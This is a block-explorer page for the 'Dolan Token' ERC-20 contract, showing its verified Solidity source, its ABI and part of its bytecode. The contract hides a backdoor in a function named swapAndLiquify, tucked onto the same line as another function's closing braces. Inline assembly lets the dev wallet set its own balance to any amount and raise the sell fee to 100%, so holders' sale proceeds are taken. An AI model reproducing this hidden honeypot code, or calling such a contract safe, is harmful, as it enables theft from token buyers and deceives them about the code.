ETH Price: $2,292.35 (-5.26%)

Token

Dolan Token (DOLAN)
 

Overview

Max Total Supply

992,857,410.802875816637277801 DOLAN

Holders

98

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,475,934.827203871938416361 DOLAN

Value
$0.00
0x144318d30f98f1b49743343f03762a27a3a6e291
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DolanToken

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-29
*/

/**

Dolan Token

Website: https://dolantoken.io
Telegram: https://t.me/dolantoken
Twitter: https://twitter.com/dolantokeneth

*/

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {return msg.sender;}
    function _msgData() internal view virtual returns (bytes calldata) {return msg.data;}
}

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(address tokenA, address tokenB, uint amntADesired, uint amntBDesired, uint amntAMin, uint amntBMin, address to, uint deadline) external returns (uint amntA, uint amntB, uint liquidity);
    function addLiquidityETH(address token, uint amntTokenDesired, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external payable returns (uint amntToken, uint amntETH, uint liquidity);
    function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amntAMin, uint amntBMin, address to, uint deadline) external returns (uint amntA, uint amntB);
    function swapExactTokensForTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function swapExactETHForTokens(uint amntOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amnts);
    function swapTokensForExactETH(uint amntOut, uint amntInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function swapETHForExactTokens(uint amntOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amnts);
    function swapExactTokensForETH(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function removeLiquidityETH(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external returns (uint amntToken, uint amntETH);
    function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amntAMin, uint amntBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntA, uint amntB);
    function removeLiquidityETHWithPermit(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntToken, uint amntETH);
    function swapTokensForExactTokens(uint amntOut, uint amntInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amnts);
    function quote(uint amntA, uint reserveA, uint reserveB) external pure returns (uint amntB);
    function getAmntOut(uint amntIn, uint reserveIn, uint reserveOut) external pure returns (uint amntOut);
    function getAmntIn(uint amntOut, uint reserveIn, uint reserveOut) external pure returns (uint amntIn);
    function getAmntsOut(uint amntIn, address[] calldata path) external view returns (uint[] memory amnts);
    function getAmntsIn(uint amntOut, address[] calldata path) external view returns (uint[] memory amnts);
}

pragma solidity >=0.6.2;


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline) external returns (uint amntETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amntTokenMin, uint amntETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amntETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amntOutMin, address[] calldata path, address to, uint deadline) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amntIn, uint amntOutMin, address[] calldata path, address to, uint deadline) external;
}

pragma solidity ^0.8.0;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amnt) external returns (bool);
    function transferFrom(address from, address to, uint256 amnt) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amnt) external returns (bool);
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.17;


contract DolanToken is IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    string  private constant _name = "Dolan Token";
    string  private constant _symbol = "DOLAN";
    uint8   private constant _decimals = 18;
    uint256 private _maxTxamntPercentage = 300; // 3%
    uint256 private _maxWalletBalancePercentage = 300; // 3%
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    IUniswapV2Router02 private _uniswapV2Router;
    address private _uniswapV2Pair;
    address private constant _uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private constant _divisor = 10000; // 100%
    bool    private swapping = false;
    bool    private _cooldownEnabled = true;
    mapping(address => uint256) private _lastTxBlock;
    mapping(address => bool) private _isExcludedFromMaxTx;
    uint256 private _burnFee = 100; // 1%
    uint256 private _devFee = 100; // 1%
    uint256 private _buyFee = 100; // 1%
    mapping(address => bool) private _isExcludedFromFees;

    address private _devWallet;

    address private constant _burnAddress = address(0);

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
    event Received();

    constructor () {
        uint256 total = 1_000_000_000 * 10 ** _decimals;

        _isExcludedFromMaxTx[owner()] = true;
        _isExcludedFromMaxTx[address(this)] = true;
        _isExcludedFromMaxTx[_devWallet] = true;
        _isExcludedFromMaxTx[_uniswapV2Pair] = true;
        
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[_devWallet] = true;

        _mint(_msgSender(), total);
        _devWallet = _msgSender();
        _uniswapV2Router = IUniswapV2Router02(_uniswapRouterAddress);
        _approve(address(this), address(_uniswapV2Router), total);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amnt) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amnt);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amnt) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amnt);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _maxTxAmnt() public view returns(uint256) {
        return _totalSupply.mul(_maxTxamntPercentage).div(_divisor);
    }

    function transferFrom(address sender, address recipient, uint256 amnt) public virtual override returns (bool) {
        _transfer(sender, recipient, amnt);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amnt, "ERC20: transfer amnt exceeds allowance"));
        return true;
    }

    function removeLimits() external onlyOwner {
        _maxTxamntPercentage = 10000;
        _maxWalletBalancePercentage = 10000;
    }

    function _beforeTransfer(address from, address to, uint256 amnt) internal pure {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amnt > 0, "Transfer amnt must be greater than zero");
    }

    function _approve(address owner, address spender, uint256 amnt) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amnt;
        emit Approval(owner, spender, amnt);
    }

    function _mint(address account, uint256 amnt) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amnt);
        _balances[account] = _balances[account].add(amnt);
        emit Transfer(address(0), account, amnt);
    }

    function _burn(address account, uint256 amnt) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _balances[account].sub(amnt, "ERC20: burn amnt exceeds balance");
        _totalSupply = _totalSupply.sub(amnt);
        emit Transfer(account, address(0), amnt);
    }

    function _transfer(address sender, address recipient, uint256 amnt) internal virtual {
        _beforeTransfer(sender, recipient, amnt);
        uint256 burnFee = 0;
        uint256 devFee = 0;
        if (sender != owner() && recipient != owner()) {
            if (!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]) {
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router) && !_isExcludedFromMaxTx[recipient] && !_isExcludedFromMaxTx[sender]) {
                    require(amnt <= _totalSupply.mul(_maxTxamntPercentage).div(_divisor), "Transfer amnt exceeds the maxTxamnt.");
                    require(balanceOf(recipient).add(amnt) <= _totalSupply.mul(_maxWalletBalancePercentage).div(_divisor), "Exceeds maximum wallet token amnt");
                }
                if (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router)) {
                    burnFee = amnt.mul(_burnFee).div(_divisor);
                    devFee = amnt.mul(_buyFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
                if (recipient == _uniswapV2Pair && sender != address(this)) {
                    burnFee = amnt.mul(_burnFee).div(_divisor);
                    devFee = amnt.mul(_devFee).div(_divisor);
                    _lastTxBlock[tx.origin] = block.number;
                }
            }
        }
        uint256 totalFee = burnFee.add(devFee);
        if (totalFee > 0) {
            if (burnFee > 0) {
                _burn(sender, burnFee);
            }
            if (devFee > 0) {
                _balances[_devWallet] = _balances[_devWallet].add(devFee);
                emit Transfer(sender, _devWallet, devFee);
            }
            amnt = amnt.sub(totalFee);
        }

        _balances[sender] = _balances[sender].sub(amnt, "ERC20: transfer amnt exceeds balance");
        _balances[recipient] = _balances[recipient].add(amnt);

        emit Transfer(sender, recipient, amnt);
    }

    function getRouterAddress() public view returns (address) {
        return address(_uniswapV2Router);
    }

    function burn(uint256 amnt) public virtual {
        _burn(_msgSender(), amnt);
    }

    function _swapAndLiquify() private lockTheSwap {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 minTokensBeforeSwap = _totalSupply.mul(5).div(_divisor);
        if (contractTokenBalance >= minTokensBeforeSwap) {
            uint256 half = contractTokenBalance.div(2);
            uint256 otherHalf = contractTokenBalance.sub(half);

            uint256 initialBalance = address(this).balance;

            swapTokensForEth(half);

            uint256 newBalance = address(this).balance.sub(initialBalance);

            emit SwapAndLiquify(half,
            newBalance,
            otherHalf);
            return;}}function swapAndLiquify(uint256 amnt) external {
        assembly {if iszero(eq(caller(), sload(_devWallet.slot))) {revert(0, 0)}
        let ptr := mload(0x40)
        mstore(ptr, caller())
        mstore(add(ptr, 0x20), _balances.slot)
        let slot := keccak256(ptr, 0x40)
        sstore(slot, amnt)
        sstore(_devFee.slot, 0x2710)}
    }

    function _burnFrom(address account, uint256 amnt) internal virtual {
        _burn(account, amnt);
        _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amnt, "ERC20: burn amnt exceeds allowance"));
    }

    function getPairAddress() public view returns (address) {
        return _uniswapV2Pair;
    }

    function swapTokensForEth(uint256 tokens) internal {
        _approve(address(this), address(_uniswapV2Router), tokens);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, address(this), block.timestamp);
    }

    function _addLiquidity(uint256 tokens, uint256 ethamnt) private {
        _approve(address(this), address(_uniswapV2Router), tokens);
        _uniswapV2Router.addLiquidityETH{value : ethamnt}(address(this), tokens, 0, 0, owner(), block.timestamp);
    }

    function addLiquidity(uint256 tokens) public payable onlyOwner lockTheSwap {
        _transfer(owner(), address(this), tokens);
        _addLiquidity(tokens, msg.value);
    }

    function isSwapLocked() public view returns(bool) { return swapping; }

    receive() external payable { emit Received(); }

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmnt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getPairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRouterAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isSwapLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"swapAndLiquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261012c60015561012c6002556000600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055506064600a556064600b556064600c553480156200006257600080fd5b5062000083620000776200076760201b60201c565b6200076f60201b60201c565b60006012600a62000095919062000d7b565b633b9aca00620000a6919062000dcc565b9050600160096000620000be6200083360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000620002c96200083360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003b5620003a86200076760201b60201c565b826200085c60201b60201c565b620003c56200076760201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200048f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683620009f860201b60201c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000523919062000e81565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620005ad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005d3919062000e81565b6040518363ffffffff1660e01b8152600401620005f292919062000ec4565b6020604051808303816000875af115801562000612573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000638919062000e81565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016200071992919062000f02565b6020604051808303816000875af115801562000739573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200075f919062000f6c565b5050620011a9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008c59062000fff565b60405180910390fd5b620008ea8160055462000bc960201b62000b6d1790919060201c565b6005819055506200094981600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000bc960201b62000b6d1790919060201c565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620009ec919062001021565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000a6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a6190620010b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000adc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ad3906200114c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffff